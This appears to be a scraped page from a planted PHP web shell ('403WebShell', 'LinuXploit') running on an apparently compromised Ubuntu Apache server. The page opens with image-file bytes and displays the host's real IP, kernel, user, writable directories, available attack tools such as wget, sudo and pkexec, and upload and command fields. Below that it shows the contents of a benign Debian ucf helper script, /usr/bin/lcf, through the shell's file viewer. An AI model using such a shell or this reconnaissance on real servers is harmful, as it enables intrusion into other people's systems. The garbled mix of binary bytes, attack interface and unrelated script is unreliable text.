????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.129.209.49
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/bin/lcf
#!/bin/bash
#                               -*- Mode: Sh -*- 
# lcf --- 
# Author           : Manoj Srivastava ( srivasta@glaurung.green-gryphon.com ) 
# Created On       : Mon Feb 25 12:04:52 2002
# Created On Node  : glaurung.green-gryphon.com
# Last Modified By : Manoj Srivastava
# Last Modified On : Mon Feb 25 12:06:54 2002
# Last Machine Used: glaurung.green-gryphon.com
# Update Count     : 2
# Status           : Unknown, Use with caution!
# HISTORY          : 
# Description      : 
# 
# 

# make sure we exit on error
set -e

# set the version and revision
progname="`basename \"$0\"`"
pversion='$Revision: 1.1 $'

######################################################################
########                                                     #########
########              Utility functions                      #########
########                                                     #########
######################################################################
setq() {
    # Variable Value Doc_string
    if [ "x$2" = "x" ]; then
	echo >&2 "$progname: Unable to determine $3"
	exit 1;
    else
	if [ "x$VERBOSE" != "x" ]; then
	    echo "$progname: $3 is $2";
	fi
	eval "$1=\"\$2\"";
    fi
}

withecho () {
        echo " $@" >&2
        "$@"
}

usageversion () {
        cat >&2 <<END
Debian GNU/Linux $progname $pversion.
           Copyright (C) 2002 Manoj Srivastava.
This is free software; see the GNU General Public Licence for copying
conditions.  There is NO warranty.

Usage: $progname  [options] dest_file  src_dir
Options:
     -h,     --help          print this message
     -s foo, --src-dir  foo  Set the src dir (historical md5sums live here)
     -d [n], --debug    [n]  Set the Debug level to N
     -n,     --no-action     Dry run. No action is actually taken.
     -v,     --verbose       Make the script verbose

By default, the directory the new_file lives in is assumed to be the src-dir,
which is where we look for any historical md5sums.

END
}

######################################################################
########                                                     #########
########              Command line args                      #########
########                                                     #########
######################################################################
#
# Long term variables#
#
docmd='YES'
action='withecho'
DEBUG=0
VERBOSE=''
statedir='/var/lib/ucf';


# Note that we use `"$@"' to let each command-line parameter expand to a
# separate word. The quotes around `$@' are essential!
# We need TEMP as the `eval set --' would nuke the return value of getopt.
TEMP=`getopt -o hs:d:D::nv -n "$progname" \
             --long help,src-dir:,dest-dir:DEBUG::,no-action,verbose \
             -- "$@"`

if [ $? != 0 ] ; then
    echo "Error handling options.Terminating..." >&2 ;
    exit 1 ;
fi

# Note the quotes around `$TEMP': they are essential!
eval set -- "$TEMP"

while true ; do
    case "$1" in
	-h|--help) usageversion;                                exit 0 ;;
	-n|--no-action) action='echo'; docmd='NO';              shift  ;;
	-v|--verbose) VERBOSE=1;                                shift  ;;
	-s|--src-dir)
	    opt_source_dir="$2";                                shift 2 ;;
	-d|--debug)
            # d has an optional argument. As we are in quoted mode,
            # an empty parameter will be generated if its optional
            # argument is not found.
	    case "$2" in
		"") setq DEBUG 1    "The Debug value"; shift 2 ;;
		*)  setq DEBUG "$2" "The Debug value"; shift 2 ;;
	    esac ;;
	--)  shift ;                                             break ;;
	*) echo "Internal error!" ; exit 1 ;;
    esac
done

if [ $# != 2 ]; then
    echo >&2 "*** ERROR: Need exactly two arguments, got $#";
    echo >&2 ""
    usageversion;
    exit 0 ;
fi

setq dest_file  "$1" "The Destination file";
setq source_dir "$2" "The source directory";


# Load site defaults and over rides.
if [ -f /etc/ucf.conf ]; then
    . /etc/ucf.conf
fi

# Command line, env variable, config file, or default
if [ "X$source_dir" = "X" ]; then    
    if [ ! "x$opt_source_dir" = "x" ]; then
	setq source_dir "$opt_source_dir" "The Source directory"
    elif [ ! "x$UCF_SOURCE_DIR" = "x" ]; then
	setq source_dir "$UCF_SOURCE_DIR" "The Source directory"
    elif [ ! "x$conf_source_dir" = "x" ]; then
	setq source_dir "$conf_source_dir" "The Source directory"
    fi
fi

if [ ! -d "$source_dir" ]; then
    echo >&2 "The source dir does not exist. Stopping now."
    exit 2;
fi

if [ "X$dest_file" = "X" ]; then
    echo >&2 "Uknown file to search for. Stopping now."
    exit 2;
fi

old_mdsum_dir="$source_dir/"$(basename "${new_file}")".md5sum.d";
old_mdsum_file="$source_dir/"$(basename "${new_file}")".md5sum";


if [ -e "$statedir/hashfile" -a ! -r "$statedir/hashfile" ]; then
    echo >&2 "$progname: do not have read privilege to the state data"
    if [ "X$docmd" = "XYES" ]; then
	exit 1;
    fi
fi 

# test and see if this file exists in the database
if [ -e "$statedir/hashfile" ]; then
    if [ "X$VERBOSE" != "X" ]; then 
	echo >&2 "The hash file exists";
	echo grep "[[:space:]]${dest_file}$" "$statedir/hashfile";
	grep "[[:space:]]${dest_file}$" "$statedir/hashfile" ;
    fi 
    lastsum=$(grep "[[:space:]]${dest_file}$" "$statedir/hashfile" | \
                   awk '{print $1;}' );
fi

if [ "X$lastsum" = "X" ]; then
    echo >&2 "$progname: No record of file in databse. Stopping now."
    exit 2;
fi

if [ $DEBUG -gt 0 ]; then
    cat <<EOF
The new start file is      \`$new_file\'
The destination is         \`$dest_file\'
The history is kept under  \'$source_dir\'
EOF
    if [ -s "$dest_file" ]; then
	echo "The destination file exists, and has md5sum:"
	md5sum "$dest_file"
    else
	echo "The destination file does not exist."
    fi
    if [ "X$lastsum" != "X" ]; then
	echo "The old md5sum exists, and is:"
	echo $lastsum
    else 
	echo "The old md5sum does not exist."
    fi
    if [ -e "$new_file" ]; then
	echo "The new file exists, and has md5sum:"
	md5sum "$new_file"
    else 
	echo "The new file does not exist."
    fi
    if [ -d "$old_mdsum_dir" ]; then
	echo "The historical md5sum dir $old_mdsum_dir exists"
    elif [ -f "$old_mdsum_file" ]; then
	echo "The histotical md5sum file $old_mdsum_file exists"
    else
	echo "Historical md5sums are not available"
    fi
fi

if [ -d "$old_mdsum_dir" -o -f "$old_mdsum_file" ]; then
    if [ -d "$old_mdsum_dir"  ]; then
	for file in ${old_mdsum_dir}/*; do
	    oldsum=$(cat "$file"  | awk '{print $1}');
	    if [ "$oldsum" = "$destsum"  ]; then
#               Bingo!
		echo $(cat "$file"  | awk '{print $2}');
		exit 0;
	    fi
	done
    elif [ -f "$old_mdsum_file" ]; then
	oldsum=$(grep "^${destsum}" "$old_mdsum_file")
	if [ "X$oldsum" != "X" ]; then
#        Bingo
	    echo  $(grep "^${destsum}" "$old_mdsum_file" | awk '{print $2}')
	    exit 0;
	fi
    fi
#	   Well, nothing matched. We now check to see if the
#	   maintainer has an opinion on how to set the ``md5sum of the
#	   previously installed version'', since we have no way of
#	   determining that automatically. Please note that unless
#	   there are limited number of previously released packages
#	   (like just one), the maintainer is also making a guess at
#	   this point by supplying a historical md5sum default file. 
    if [ "X$VERBOSE" != "X" ]; then
	echo >&2 "Histotical md5sums did not match."
    fi
    if [ -d "$old_mdsum_dir"  ]; then
	if [ -e "${old_mdsum_dir}/default" ]; then
	    echo default;
	    exit 0;
	fi
    elif [ -f "$old_mdsum_file" ]; then
	oldsum=$(grep "[[:space:]]default$" "$old_mdsum_file" | \
	    awk '{print $1;}')
	if [ "X$oldsum" != "X" ]; then
#                    Bingo
	    echo default;
	    exit 0;
	fi
    fi
fi


exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit